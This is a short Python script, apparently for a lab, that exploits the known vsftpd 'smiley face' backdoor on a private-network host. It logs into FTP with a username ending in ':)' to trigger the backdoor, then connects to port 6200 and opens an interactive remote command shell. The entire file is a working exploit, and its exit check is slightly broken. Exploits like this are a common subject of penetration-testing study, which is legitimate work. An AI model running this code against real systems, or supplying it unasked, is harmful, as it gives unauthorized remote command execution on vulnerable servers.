# coding=utf-8
import socket
from ftplib import FTP
import time

host_ip="192.168.152.129"

user_name="helo:)"
pass_word="333"

ftp=FTP()

try:
    ftp.connect(host_ip,21,timeout=1)
    ftp.login(user_name,pass_word)
except:
    print("check smile backdoor")

try:
    time.sleep(0.5)
    sk=socket.socket()
    sk.connect((host_ip,6200))
    print("exist smile backdoor")
    while True:
        info = raw_input('>>>')
        info += '\n'
        if (info== "exit"):
            break
        sk.sendall(info.encode())
        # 信息接收
        data = sk.recv(128)
        # 结束会话
        if data:
            print(data.decode('utf-8'))
    sk.close()
except Exception as e: 
    print(e)
    print("not exit smile backdoor")
